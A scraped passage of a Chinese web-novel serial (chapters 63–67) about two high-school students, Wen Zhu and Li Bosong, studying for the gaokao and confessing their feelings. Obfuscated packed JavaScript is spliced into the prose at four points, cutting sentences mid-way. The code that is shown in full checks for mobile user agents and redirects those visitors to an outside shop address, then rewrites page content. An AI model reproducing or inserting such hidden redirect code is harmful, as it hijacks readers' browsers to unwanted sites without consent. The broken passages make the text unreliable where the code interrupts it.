说到最后一部分时,他很有感触,看台下大家的表情也都很动容。 “我之前看到过有人把高考比喻成千军万马过独木桥。诚然,我们无法否认高考的竞争,也无法否认学习过程中的孤独。竞争是客观存在的,孤独是因为没人能代替你。你在思考的时候,在答卷的时候,在挑灯夜读的时候只有你自己。但其实,在这条路上,你不是一个人在往前走,你会得到很多人的帮助,也会在很多人的眼睛里看到鼓励和赞许。” “前几天一个朋友问我有没有听过网上很流行的那句话,‘人无法同时拥有青春和对青春的感受’,我在那个时候想到了一句诗,是‘煮书消得泼茶香,当时只道是寻常。’我想,或许在我们以后的人生中会在很多个时刻回忆起高中时代,到那时,今天明天都是‘当时只道是寻常’的无数日子之一,我们拥有了对青春的感受,却无法再重来一次。所以,在能把握的现在,希望大家带着所有的鼓励和赞许,还有对未来的期待,再努力地努力一下。最后,祝大家青云直上,青春无悔。” 她走下台的时候,台下掌声雷动。李泊松两只手都被黑色手套包裹得严严实实,站在台阶下仰着头,好似在等她。 他看到闻竹又扎起了马尾,恍惚了一下,才意识到又是冬去春来,万象更新。 “你这是帮谁干活呢?”闻竹终于问出这句话了,语调像现在的日光,慢悠悠暖洋洋的,“这不是学生会的事么?” 他随口胡扯:“嗯,助人为乐呗。” 闻竹没多想,顿了顿又问了一句很有潜质的问题:“你都不拍领导啊?” “……”李泊松无奈,他很多时候真不知道闻竹是装傻还是真不知道,他顿了顿,故意语气轻松地挑明道:“我和你说,这活是我主动干的,别不知道啊。” “哦,这样,你人真好。” 闻竹含糊地答了一句。 她在背风处套上了放在了台下桌上的羽绒服,不自觉地揉了把发烫的耳尖。 63. 幼稚魔术 换季的时候容易感冒,对于这事,闻竹很有发言权,她几乎是次次中招,这回也没逃开。在戴着口罩不知道第几次打喷嚏的时候,李泊松问:“谁在想你啊?” 闻竹一面腹诽这种说法你也信,一面随口应道:“不知道啊,可能是帅哥吧。” 李泊松点头:“嗯,那就是我。” 闻竹被他逗得笑了下:“离我远点,我一会儿传染给你。” 李泊松向来不听话,他凑得更近了些问道:“这题你怎么做的?给我看看。” “……” 感冒虽然不是大病,但依然“来如山倒去如抽丝”。闻竹整整一周的上学日都戴着口罩,闷得不行。 现在已经是三月份了,再过四十几天,李泊松又要把露在外面的皮肤全副武装起来,她捂这么几天都受不了,这人要捂半个多月,想想就很难受。 最近流感严重,学校通知各班每个单数课间都要开窗通风一次,出发点是好的,但让人觉得很烦,尤其是困得不行听到下课铃直接趴倒的课间。闻竹挨着窗子坐,吹了几天风甚至觉得更严重了。 晚饭后,她和曲思嘉说突然感觉有点头晕,曲思嘉拉着她去校医室量了体温,最后在那儿拿了药回来。李泊松抱着球进班,看到闻竹在看药盒上的说明书,皱眉问了一句。 “有点低烧。”闻竹没怎么在意地答道,扣出一片药准备吃下去。 李泊松看着桌面上那瓶矿泉水,简直不知道该不该生气。他语气难得重了些:“等会儿。” 她抬头,看到旁边人动作自然地在她书包的侧兜里抽出保温杯,去饮水机那儿接热水去了。 看着闻竹把药吃下去,李泊松才问:“什么叫低烧?” 闻竹闭眼缓过那阵头晕,敷衍道:“就是高烧的反义词。” “……”李泊松差点被她气笑:“你是不是又头疼了?想吐么?” “有点晕,不想吐,没有别的不舒服的地方。”她感觉好些了,咕咚咕咚喝了好几口杯子里的水。“三十七度二,没事。” 李泊松仔细观察她一会儿,发现闻竹状态还可以,这才放心些。 闻竹算不上能忍疼,但很有韧劲,从小到大李泊松几乎没见她请过病假。 “生病就别当卷王了,身体是革命的本钱啊,今天晚上别学了。”李泊松逗她。 闻竹就逗回去:“行,那你也别学了,陪着我。” 在这个话题上,他就显得非常有原则了:“那不可以。” “我以为我们是朋友。”闻竹看着他。 李泊松陪她演戏:“名次面前哪有朋友。” 闻竹指责道:“你太功利了,友谊的小船这会儿都沉底了。” 李泊松觉得闻竹这不多见的冷幽默真的很有意思,她生了病竟然更可爱了。 他说:“你睡会儿?上课我叫你。” 数学老师是最听话的,每次晚课都按照学校要求来,上半段考试,下半段讲课或者自习。 闻竹披好羽绒服趴在桌上,闭着眼睛嘱咐李泊松:“你看看题难不难,难的话就叫我,不难就多让我睡一会儿,帮我和老师说一声。” “安心睡吧,知道了。” 说完,又不动声色地帮闻竹把滑落到肩膀的羽绒服盖好。 他在课前跟老师打了招呼,说闻竹有点低烧。老师很通情达理地说:“不参加考试的话就和你们孟老师请个假回家休息吧,这时候感冒挺难受的。” 李泊松说闻竹自己说要考试,先让她在这睡一觉,这样可不可以。老师说了没问题。 卷子发下去半小时后,数学老师溜达到闻竹的桌边,问她同桌:“还有不到四十分钟就收卷了,不把她叫醒?一会儿答不完了。” “老师我过会儿叫她,来得及。” 数学老师看他验算纸上密密麻麻的,于是问:“你答完了?” 李泊松点头:“还差最后一小问。” 这张卷子题量不大,题目也算不上难,但很绕弯子。数学老师推了下有些滑落的眼镜,低着头看他答完的部分,思路清晰,卷面赏心悦目,一眼看不到错误。他满意地点点头,背着手走了。 闻竹睡得很沉,盖着衣服甚至出了点汗,李泊松纠结了一会儿,还是把她叫醒。她睁开眼睛,眼神很清明,看起来恢复得还不错。 “退烧了?”李泊松低声问。 “应该是,感觉没什么不舒服的。”闻竹小声说着,从头到尾浏览了一遍试卷,单手拔开笔盖,抬头眯着眼睛看了眼教室门口的挂钟。 这张卷子看起来难度适中,问题还是差不多的问题,图也是那些图,但是真做起来会发现还是挺复杂的,计算量不小。闻竹交完卷之后觉得自己晚上得失眠了,用笔尖在演算纸的中间戳了个洞。 李泊松去班里的医药箱里拿了电子体温枪,回来的时候正看到她的小动作。他把体温枪的开关打开,在闻竹的额头上比划了两下,然后把读数给她看。 “睡这么一会儿挺管用的啊。”他垂眸看着闻竹的脸色,“头不晕了吧?” “比最开始还晕,”闻竹比之前更蔫了:“这题谁出的,搞这么难。” 李泊松笑了会儿,撑着下巴问她:“离上课还有五分钟,给你变个魔术?” 闻竹可不知道他什么时候有了这么一项技能,正好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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闻竹检查了一下他的手,没发现什么。 明知道这是个简单的小把戏,但她还是被骗到了,因为在他说“看好了”那句话之后,她一直在看李泊松的眼睛。 “你最近怎么不高兴?”他突然问。 闻竹也不否认:“摸底成绩快出来了,我紧张。” 她上学期第三次学考的时候成绩有些下滑,虽然期末又爬回去了,但闻竹自己也拿不准下滑是意外还是上升是意外。到了最后半年,成绩不稳定是一块危险的巨石。 李泊松继续问:“我以为你有心事?” “……没有。” 闻竹觉得不解。 她在上学期最后那段时间没法和李泊松像从前那样相处,因为旁的心思根本不受她控制。而按照李泊松的聪明和敏锐的程度,他一定早就察觉到了,怎么到了她几乎要想通的时候才想起来问。 他不会是……要和她摊牌吧? 64. 禁止早恋 距离高考还有八十六天。 一大早,两人像往常一样走进高三教学楼,虽然闻竹早就把数字刻在心里了,但她的第一反应还是去看高考倒计时的牌子。李泊松之前跟她一起看,最近这几天就喜欢晃到那块黑着屏的液晶显示器前照镜子。 他昨天这样,今天还这样,闻竹已经转弯走了好几部,又回眸看他,没忍住问:“你谈恋爱了?” 语气还是像她往日说话那般无波无澜的。 李泊松吓了一跳,他弯了下眼睛:“闻竹,你开玩笑的时候能不能换一种开玩笑的语气?” “这你还挑,”闻竹没好气地说:“这是付费功能。” 他又搬出那句话:“我以为我们是朋友?” 闻竹不吃他这套:“你还没回答我的问题。” “没有,”李泊松走在她身边,把无意间垂到了地上的围巾一角捡了起来,塞到她手里。“怎么忽然这么问,因为我路过的时候把液晶屏当镜子照?” “……” “哦,”没说话就是默认了,李泊松以为怎么了呢。他解释:“之前那个显示屏一直开着,我想去照也没办法。” 闻竹半分钟之内数次感到无语。 “我就是随口一问,”她说完,没忍住又补充:“不要早恋啊,早恋影响成绩。” 李泊松轻笑:“嗯,知道了。” “哎,”说到这个话题,闻竹忽然想到了去年他刚转来的时候自己的那个猜想,于是问:“你刚转学过来的时候,岩姐有没有找过你,告诉你高中阶段不要谈恋爱?” “你怎么知道?”他笑了下,挺无奈地看了闻竹一眼,“就是去年这时候,岩姐突然叫我去办公室,也没说为什么。搞得我很紧张,刚站在那儿,她就和我说,一中校规很严,一定一定不能早恋。” 闻竹一猜一个准,没忍住笑出声来。 “那时候我刚转学过来没几天,能记住的咱们班同学的名字连十个都没有,当时我的表情就和老陈问我‘畏途巉岩不可攀’的巉怎么写一样。” “后来你明白了这就是岩姐给你打个预防针,是吧?” “嗯,”他点头,和闻竹一起进了教室,“但我当时不知道,还反思了挺长时间。” 闻竹和他开玩笑:“可能你看起来像谈过很多女朋友。” “……”李泊松这回是气笑了,“这是夸我帅呢?” - 摸底考试的成绩出来了,闻竹发挥得不错,这个名次算是给她吃了一颗定心丸。为了让成绩保持下去,她最近学得比之前还拼。 学习这码事向来是有志者在高处,聪明还肯努力才当第一。 李泊松都比之前更认真了,他一改往日漫不经心的样子,每天除了学习就是打球。 可能是教室前高考倒计时真的起到了警示的作用,有时候大家埋头奋笔疾书,颇有些不分今日明朝的意思。 下课铃打响,闻竹把写了一大半的卷子扔到一边,随便找了支笔压住,一转头发现李泊松还在算题,连头都没抬。 她支着下巴看人写字,提醒他:“体育课了。” 李泊松“嗯”了声,笔没停。 “……你这几天好像滚筒洗衣机。”闻竹忽然冒出这么一句话。 毕雨泽刚抱着球过来,准备拉李泊松先去打会儿球,听到这话他愣了下:“啥意思?” 李泊松边收卷子边笑:“说我卷呢。” “啊?”毕雨泽挠头:“这要是说我我都听不懂。” 李泊松拍了下他肩膀,示意他别纠结,刚准备走,就看到闻竹在翻箱倒柜地找东西,就问她找什么呢。 “我的语文卷子……老陈不是说晚课要讲,”她自言自语:“哪儿去了呢?” “你借给我了,”李泊松无奈地笑了下,用拇指和食指在桌格里抽出一张卷子,“这呢。” 闻竹对自己的记性也是无话可说,她哦”了声,又给它塞回去了,“没丢就行。” “……” - 百日誓师之后高三生们都在数着日子过,每天都像午后洒进树荫里的阳光那么短暂。眨眼间,倒计时牌子已经撕掉了二十多页。 早自习后的课间,闻竹做题做得烦躁,扔下笔揉了把脸。她没像以前那样去找机会和李泊松说话,就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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曲思嘉欣然同意:“好啊,我请你们!” “请什么,是给你庆祝!” 夏天的时候曲思嘉惦记这个征文,希望它能得到一个奖项,之后在区里选上了,送到了市里,是个好结果。年初的时候她过生日,闻竹去花店选了一束花,洋桔梗和郁金香,自己在卡片上写了字: 祝你期待的事都有好结果。 都有好结果。 65. 真心半解 闻竹周末照例回了家,一家人围在桌前吃了饭,闻竹想回学校上自习,背着包准备自己坐地铁早些回去。 陈青和闻兴阳在二楼午休,闻灿把她送到门口,又坐在玄关处的小木凳上看她背包换鞋。 北方的四月天并不算温暖,但有终于是了些春天初来乍到的意味。闻竹穿了一件简简单单的白T恤,外边随意套了件黑色的运动外套。 闻灿看着她,说:“姐,我昨天碰到花店的奶奶了,她说咱们两个长得像,把我认成你了。” “嗯?”闻竹疑惑道。 “钢琴课下课回家的时候她和我招手,以为是你下课了。” 闻竹记得妹妹小时候说她们姐妹两个像的人很多,但随着两人慢慢长大,性格气质都和小时候有了变化,已经挺久没听到有人这么说了。 隔壁的那个奶奶这几年身体不太好,记忆也偶尔会产生模糊,出门要坐轮椅,这几年都在家门口晒太阳,很少往远处去。闻竹念高中之前,奶奶家的花店开在这个小区门口,因为审美在线,花又新鲜,生意很是兴隆。 现在想想,真是时光如梭,上次见到这个奶奶还是上个学期末的时候。 “奶奶今天去店里了?”她换好了鞋,起身问。 “嗯。”闻灿说,“我和她聊了一会儿,感觉奶奶今天状态不错,还浇了花。”这话说完,她看到闻竹偏头笑了下,自己也笑出了小虎牙:“姐,我给你订了束花,你记得去取。” “嗯?!”闻竹睁大了眼睛,有些意外。 “觉得好看。”闻灿理直气壮。 闻竹被她哄得很高兴,但还是靠在门口状似无意地问:“灿灿,你前几天有什么事要和我说?” “……啊?” 闻灿以为她姐忘了。 她当时说的时候态度模棱两可,只说自己有事想和她讲,但又不知道怎么说。那时候已经十一点了,闻竹还要多熬一段时间做题,闻灿的生物钟是这个点,已经上床准备睡了。 闻竹当时说,第二天和她讲,但在那之后的两天里,闻竹再提起这事,闻灿就轻飘飘地揭过去了。 这个态度明显是不想说了。但闻竹很担心,这是解决了还是没解决? “你原本说要告诉我的,后来又不肯说了,为什么?”她语气如常,闲闲补充道:“肯定不是已经解决了,如果已经解决了你不会瞒着我不说。” “好吧,因为我不知道怎么讲。” 闻竹又把那件运动外套脱掉重新挂回了衣架上,她把闻灿的凳子往自己那边拖了拖,自己坐下,一副洗耳恭听的模样。 两人对视了半分钟,闻灿还没开口。 在闻竹的角度来看,她其实也不是非要知道这件事,只是觉得在性格上,她有什么委屈会直接说出来,但妹妹不会。 “好啦,”闻竹让步道:“那就……” “姐,你有没有喜欢的人?” 闻竹:“啊?” 听到闻灿问出那个问题的时候,她原本以为是什么感情问题,吃惊了一下。但之后,她又问有没有喜欢她的人,闻竹开始觉得好像没那么简单。 …… 大概说的是一个男生和她关系不错,前段时间和她告白了,她拒绝了。但觉得他人挺好的,但是最近几天会和她开玩笑似的扯她的马尾。 “你不喜欢他那么做,是吗?”闻竹静静地听完,问道。 “嗯,”闻灿点头:“但我知道他没有恶意。” “也不是有没有恶意的事,论迹不论心。”闻竹拉着她的手,目光沉沉:“什么喜欢谁就想欺负谁这种话都是逗小孩的,他让你觉得不舒服,错就在他。” “我知道了。”闻灿乖乖点头。 “你真的知道了?”闻竹疑问。 “是啊!” “我去和他说吧。”闻竹心里有点气,但没表现出来,语气如常。 闻灿摇摇头:“我自己说吧。”她把事情说出来之后心情好多了,“我不是小孩子了,可以把这件事情做好的。” 说完,她朝闻竹调皮地眨眨眼。 闻竹放心下来,就问她:“你说说,你给我买了什么花?” 闻灿小声“啊”了下,神神秘秘的:“当然是漂亮的花。” - 闻竹万万没想到,闻灿口中所谓的最配她的花竟然是一束绿色洋桔梗,她抱了一束花在怀里,都没去坐地铁,出了小区就在门口打了车,一路坐到了四季学府。 有时候人的际遇真的很奇妙,在此之前,她想也想不到自己收到的第一束花竟然是妹妹送的。 经过小区外店面前的车位时,闻竹把车窗当成镜子照了照,觉得自己换件明亮点的衣服会更配这束花。至此,她在花香里嗅到了春天的味道。 她和李泊松大概是真的有缘,闻竹刚用门卡刷开了锁,就听到一个熟悉的声音在身后叫了她的名字。 “好巧啊。”她在门口,看他跑到眼前,干巴巴地打了招呼。 李泊松垂头笑了下:“啊,是巧。” 他两口气喘匀了,听到闻竹问:“你在哪儿看见我的?” “对面的超市。” “哦,你刚吃完饭吗?去超市买什么了?” “是刚吃完,”李泊松给她展示了一下自己空空如也的双手,无辜道:“什么都没来得及买,就在橱窗看到你了。” 闻竹定定地看了他一眼,又装作无事发生般收回了目光。 李泊松也很有意思,明明好奇得抓心挠肝,却才问出想问的话:“花好看,洋桔梗吗?” “嗯。”闻竹简单答道。 李泊松原本不是多容易被看透的人,大概得益于两人认识多年,她一下子明白了这人心中所想,有点想笑。 “谁送的,眼光不错。” 闻竹终于听到他问这话了,笑了下,把问题抛回去:“你猜。” 李泊松恭敬不如从命,就猜:“陈姨吗?” “……”闻竹棋错一招,忘了他也是这么了解自己的。 “是小灿。”她答。 “哦。” 他们认识时间久了,自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13737685|137974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有一套相处方式,没人说话的时候也不会觉得尴尬,也不会刻意地在聊天框里找话题结尾。闻竹本来觉得他们两个就要这么走回家了,李泊松忽地开了口。 “你前段时间为什么躲着我?” 闻竹意识到他指的是什么,骤然偏头看他:“啊?” “‘啊’什么?”他反问。明明是在问这么危险的话题,却还一副轻松的样子。 闻竹和自己赌气:“没有。” “你猜到了吧。”在闻竹说第二遍“啊?”之前,他轻声道:“我喜欢你,你猜到了,是吗?” “你……” 闻竹妙目圆睁,好像丧失了说话的能力。 - 李泊松站在一颗四季常青的树下,两手空空,旁边的女生抱着一束新鲜漂亮的花。他觉得自己刚才算是告白,但是是世界上最潦草的告白。 闻竹大脑空白了一阵后,问他:“我……你刚刚算是……?” 他们两个之间也做不成揣着明白装糊涂的好朋友了,李泊松打断她,说:“不是算是,就是。我喜欢你。” “……哦,哦,”闻竹说话难得打了磕绊,“知道了,你别再说了。” “别再说了……?” 李泊松原本想说清楚,闻竹这个意思是不想谈这件事了?他转头去看,看到了女生泛红发烫的耳根。 原来是这样。 “这件事情是不是给你造成了困扰?”李泊松无意识地抿了下唇,这是紧张的意思。 如果是平时,闻竹一定能看出来,但今天她自顾不暇,哪儿有那么活泛的心思。 “是。”闻竹实话实说,没有绕弯子。 她说完,抬头看李泊松的表情,男生依然是刚刚的样子,那种认真的、珍视的目光落在她身上。 “我知道,我应该在几个月前就和你说清楚的,这样你也不用猜来猜去焦头烂额了。” 闻竹被后边那两个四字词语搞得眼皮乱跳,想嘴硬反驳的时候就听到他接着说:“但我很怕,所以纠结了这么久。” 闻竹呼出一口气,好似看着一块大石头平稳地落了地,心里终于踏实下来。 原来他也会说“怕”。 原来那段时间不是她自己在纠结。 “我……”闻竹本想说她怎样,开口后却发现,即便是到了现在,她也不知道自己到底要怎么定义和李泊松关系。她舍不得朋友这个头衔,又舍不得他。 什么都想要,又怕最后什么都失去。 于是她把难题推出去:“那现在呢,你想通了?” “嗯,”李泊松笑笑:“现在就和以前一样,你不要纠结了,高考之前,我们还是好好做朋友。好吗?” “好吗”这两个字的语气温柔至极,多多少少蛊惑了她,可是闻竹想,高考之后呢? 她还是问出了这句话。 李泊松想了想,语气温和地答道:“高考之后,如果你愿意,你有大把的时间可以思考这件事。” “到时候你要答应还是要拒绝,我都听你一句话。” 66. 聊到黎明 二模成绩出来后,闻竹的成绩单看着挺漂亮的,但她不大高兴。她自己能看出来,自己的成绩一点变化都没有。她不是什么都会,这算时间她就发现了这个问题,自己好像到了一个奇怪的瓶颈期,错的经常错,不再是活水。 这种瓶颈期让她觉得很头疼,上学期成绩下降的时候,她能通过调整好心态来把成绩提上去,但是这个阶段让她有些束手无策。 孟丽岩看出闻竹状态不好,找她聊了聊,安慰了几句,又说这在尖子生里是正常现象,放轻松一些。 闻竹的心态一直都不错,但一天撕掉一页的倒计时好像一种和朋友分别、和青春告别的预示,她有种类似于水土不服的感觉。 和老师聊过之后和妈妈聊,聊过之后终于偷偷地大哭一场,发泄过后很舒坦,对着镜子一看,眼睛都肿起来了。不过第二天是周末,她放心下来,把眼罩放进了冰箱,坐在书桌前开始看错题。 凌晨一点半,黑夜沉寂,外边的星子寥落。闻竹把阳台的门推开了条缝,吹到了四月份深夜的凉风。 她把凉风关在了外面,想起去年十一点钟在楼下看到李泊松房间里亮灯的样子,又想了些她没想过的事情:在他刚读高一的那一年,他看到自己当初的成绩单是不是也觉得有落差,也经历了很多自我重建的时刻? 这么想着,闻竹打开微信给他发消息:【你睡了吗?】 她没想着能收到回复,在厨房倒了水,喝了一大杯,准备打开冰箱拿出眼罩后去睡觉。 五分钟后,李泊松回了。 【L:没呢】 【L:你呢,心情好些了吗?】 卧室里开着一盏小台灯,闻竹坐在地毯上,心情平静地看了两遍他发的消息。 【一支竹子:你怎么知道?】 你怎么知道我心情不好。 【L:我怎么不知道?】 【一支竹子:好多了。】 她没有像以前一样说“本来也没什么大事”,而是问他:【你困了吗,不困的话陪我聊会儿。】 李泊松过了困劲儿之后精神就很好,他洗了把脸,说:【嗯,好。】 前几天说开的话让两个之间的距离更近了些,闻竹真如他所说那般和他恢复了之前亲密朋友的状态。深夜人更感性,也就更坦诚。 她问了李泊松高一时重新开始学习后的心情,李泊松也坦诚地和她讲那段时间有多挣扎,闻竹安慰过他,又和他抱怨自己的成绩像一潭死水一样,担心不升就可能会降。 她知道自己不是那种天赋型学神,只是一个认真努力、有一点点小聪明的普通女孩。 不过在聊天的时候,她更加确认了一个事实。 在李泊松眼里,她真的非常优秀。 临城在北方,从春分开始昼长夜短,天亮得越来越早。他们两个一条语音信息都没有,就那么互相发文字聊到了凌晨四点,黑夜渐渐散去,再过一个小时就会迎来天光乍破的景象。 到这时,闻竹终于有了些困意,组织语言的时候脑子开始不太清醒了。 【一支竹子:你困了吗,我记得你平时不太熬夜。】 【L:还好。】 闻竹说“哦”,安静了一会儿后突然问:【李泊松,你喜欢我什么?】 那边好像考虑了很久,才告诉她:【这是秘密,高考后再告诉你。】 - 五一小长假期间,临城一如既往地人山人海游客云集,放假之前岩姐还特意和他们说非必要不出远门,在家写卷子才是最充实的。 在暑热的胁迫之下,大多数人都选择了听话。 毕雨泽在四月末圆满结束了体考,虽然之后还有高考,但他现在总有种处于6月7号晚上的放松感,于是大手一挥在网上订了票,准备去他的梦校看一看。 他体考分数不错,文化课学得又好,去那所大学基本已经是尘埃落定的事了。 刚到高铁站,他就在群里愤怒地发消息,语气很夸张。 【你们知道吗?北站上下两层连个席地而坐的地方都没有了!】 李泊松:【这是什么让人惊讶的事吗?】 毕雨泽一边腹诽李泊松这语气越来越像闻竹,一边敲字回复他。 【是啊,我早该想到的!我有悔啊!】 李泊松:【那这样,毕哥,你回来吧。】 绿树阴浓,蝉鸣不息。 闻竹在楼下超市囤假期的小甜水,看到他们两个的对话笑出声来。小超市的电视机就在柜台边上,上面播报说今年夏天的温度达到近几年的高峰,闻竹是不爱出汗的体质,这会儿刚下楼几分钟,鼻尖都挂上汗珠了。 这才五月初啊。 李泊松准备出门吃个午饭,想着吃个饭就回,随意套着T恤和运动短裤。他在家做了大半天的卷子,实在有些不修边幅,那点潦草的帅气还顽强地存在着。 刚下了楼就在小区里遇到穿着裙子抱着个大箱子的闻竹,他简直想掉头就跑或者穿越回五分钟前。 至少刮个胡子啊。 但是他三两步跑过去,接过闻竹手里的箱子。闻竹看到是他后松了口气,把手里的重量毫不客气地都给了李泊松。 “这是什么?”李泊松掂量了一下,“还挺沉的。” “一箱乌龙茶,”闻竹说:“桃子味的。” “哦,那你买这么多做什么?” “……”闻竹又纳闷,“除了喝还能做什么,洗头?” 李泊松就笑:“不想好好聊天了是吧?” “就囤着啊,几天就喝完了。” 拌了两句嘴后,李泊松就忘记自己没刮胡子的事了,他帮闻竹把这箱乌龙茶搬回家里,闻竹走在他身边问:“你本来想去哪儿啊?” “吃饭,我一天没吃饭了。” “刚过中午。”闻竹说完,歪着脑袋去看他腕表上的时间,“才一点钟。” “是吗?好吧,”他流利地改口,“我去吃午饭。” 闻竹浅浅地笑了下。 没吃饭还一身用不完的劲,这体力能不能分她一点。 “我也没吃饭呢。”开门的时候,闻竹告诉他。 “嗯?你没饿啊。”她明明是容易饿的体质,过了饭点吃饭就不舒服。 “起得晚,我睁开眼睛的时候都快九点了。” 九点钟,她洗完漱听着听力在厨房做了个简易的早餐,睡得饱,吃得也不少。 快高考了,她的心态调整得不错,现在半点问题都没有。 门开了,李泊松把箱子放在了玄关对面的墙角处。闻竹说:“你别走了,既然都没吃饭,那就一起吧。” “你这是社交辞令还是真情实感?”李泊松靠在门口,挑了下眉。 闻竹笑了下,左颊的酒窝看上去清晰甜美,说的话倒是冷冰冰的:“你够了啊。” “好的,”李泊松见好就收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13742963|137974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“你做饭?” “当然不,”闻竹做点简单的早餐还可以,做午饭不大好吃:“点外卖呀,菜式多样任你挑选。” “那去我家吧,”他倚着门,歪头道:“我给你做。” - 李泊松简直不是人。 闻竹早该想到的,他刚才明明是要出去吃的,如果家里有菜,按照他平日里的做法就在家自己做了。她两条胳膊压在购物车的扶手上,被刚才那一路的暑气热蔫了。 “我不是说叫你在家等我。”李泊松把手里拿着的咖喱和蚝油放进购物车,垂着眸子看她。 闻竹说:“那我哪儿好意思。” 她说完这话后又在心里反思了一下,觉得她在那个瞬间被好奇心或是别的什么蛊惑了。不然她会坚定地点外卖,根本不考虑其他的选项。她从来都没有吃过李泊松做的饭,能不能吃还是未知。 在超市的空调下吹了两分钟,渗透进短袖的暑气已经散得七七八八了。闻竹抱着既来之则安之的想法,把手伸向眼前的泡面。 她不是不相信李泊松,只是人得给自己留退路。 一只骨节分明的手从侧边伸过来,挡住了闻竹的动作。 “你不相信我啊?”李泊松似笑非笑,“不保证好吃,但一定能熟。” “……”闻竹本来还留存的那点奢侈的期待在他说完这话后灰飞烟灭了。 “你好歹也是个学霸,对自己的要求也太低了。” 李泊松不说话,笑盈盈地看着她。 闻竹败下阵来,伸手道:“您请。” 她自己逛菜市场基本就是扫盲的过程,把牌子上蔬菜的名字和蔬菜本身对照的过程比完形填空困难多了。李泊松倒是看起来很熟练,他知道想买什么,目标明确,不像她一样买东西的时候经常在货架前转来转去。 闻竹拿着手机回了两条消息,之后看到购物车里的菜,他们两个爱吃的都有。 有个年头忽地出现在她脑海里,她知道自己为什么会答应李泊松来逛超市了。 在意识到他们两个可能互相喜欢之前,闻竹从没考虑过自己以后会和谁在一起生活,更说不上什么向往和期待。但如果这是未来某一天的样子,看起来也不错。 回到家后,闻竹自告奋勇地帮李泊松洗菜焖饭,站在旁边盯着他做菜。他以被她看着会紧张为理由把她赶走了,闻竹只好擦了擦餐桌,在书包里拿出练习册放在上边。 李泊松还扎了个围裙,看起来像模像样的。他本来叫闻竹去书房呆着,这会儿看到她在餐桌旁边写上题了,很无奈。 “别在厨房里,这儿油烟大。” 闻竹低头写题,已读乱回道:“啊,吃什么都行。” …… 李泊松一边搜索食谱一边做饭,倒是也不见慌乱。吸油烟机声音不小,一道菜出锅后,他回头,看到了在餐桌旁睡着的闻竹。 她的刘海长长了,遮住了下半张脸,长睫毛像振翅欲飞的蝴蝶。 想来也是,她中午没午睡,确实该困了。 怎么会有这种看着冷冰冰,实则心里像住着一团火的人呢。怎么会有这种平时聪明果断,在感情上迟钝纠结的人呢。这些反差无时无刻不在吸引他。 其实李泊松觉得他了解闻竹,能理解她在纠结什么。他们同样珍视这份友情,闻竹刚有些开窍,不一定愿意改变现状。他自己就更自私些了,他喜欢闻竹,就一定会争取一下。 67. 借你吉言 五月就这么在踏实努力中平稳度过了,经历了四次模拟,大家的心态也算是百炼成钢。高考的距离越来越近,闻竹竟然觉得心态很平和,都没有刚挂上倒计时牌的那天紧张。 自己努力了这么久,值得一个美丽的结果,闻竹在这件事上有着充足自信,她现在的任务就是静待。 六月一号,大朋友小朋友都快乐的日子,一中的毕业照定在这天拍。 天气晴好,万里无云,大家穿着一套制式校服,光明正大地拿了手机。李泊松一路上都很沉默,一大早就戴了个白色的一次性口罩。 闻竹还逗他:“干嘛啊,长这么帅打扮成这样。”说完后她想,五月中旬后柳絮就消失得差不多了,李泊松也就不再“武装”得那么严实,今天又戴上了口罩,闻竹想:“你是不是生病了?” “还好,嗓子不舒服。” 他说完这话后,不知道是不是心理作用,闻竹觉得他脸色都比平日里苍白。 “你低头。” 李泊松听话地低下头,嘴上说:“我不发烧,你离我远一点小心我传染给你。” 闻竹伸手探了一下,体温正常。她听了这话呵了声:“我体质好得很,倒是有些人,一到夏天就感冒。” “你说的是我吗?”李泊松惊讶地指着自己。 闻竹看了他一眼,还没说话,就听到了一个熟悉的声音远远地喊她名字。她转头,看到了校门口朝这边挥手的曲思嘉,还有站在一边揣着兜的路一杭。 她跑过去,把李泊松落在后边。 “你们一起来的?”闻竹好奇道。 曲思嘉好像才反应过来:“哦,对哈,你今天怎么没骑车?”说完她答道:“十字路口那儿遇到的,我远远地就看到你们两个了。” 李泊松悠悠地走了过来,路一杭和他打了招呼,他说:“哎哟,今天帅啊,路哥。”他凑近了点,“隐形眼镜?” “是啊,”路一杭大大方方的:“这不是要拍照吗?” 闻竹扯了下李泊松的校服衣摆,小声道:“你靠人家那么近做什么。” “哦,”李泊松后退半步,“对,我感冒了,别传染给你们。” 路一杭的反应和闻竹差不多:“哪儿那么容易传染,倒是你。回去吃药别影响考试。” “不会,”李泊松眼睛弯了下:“知识都在脑子里呢。” 闻竹想翻白眼,忍住了。 毕业照是从一班开始往后轮的,他们班到学校后没有别的任务,就等着下楼拍照了。 曲思嘉带了几件简单的化妆品在教室里光明正大地化淡妆,闻竹洗完手回到座位上,曲思嘉转过身端详了一下闻竹没有缺点的骨相,凑得离她近了些,拿着唇釉想给她涂。 李泊松不在班级,闻竹笑笑,招手叫思嘉到她旁边坐着。 曲思嘉高兴地去了,她叫闻竹闭眼,闻竹乖乖照做,听到她说:“你眉毛不画也这么好看,怎么长成这样的!” 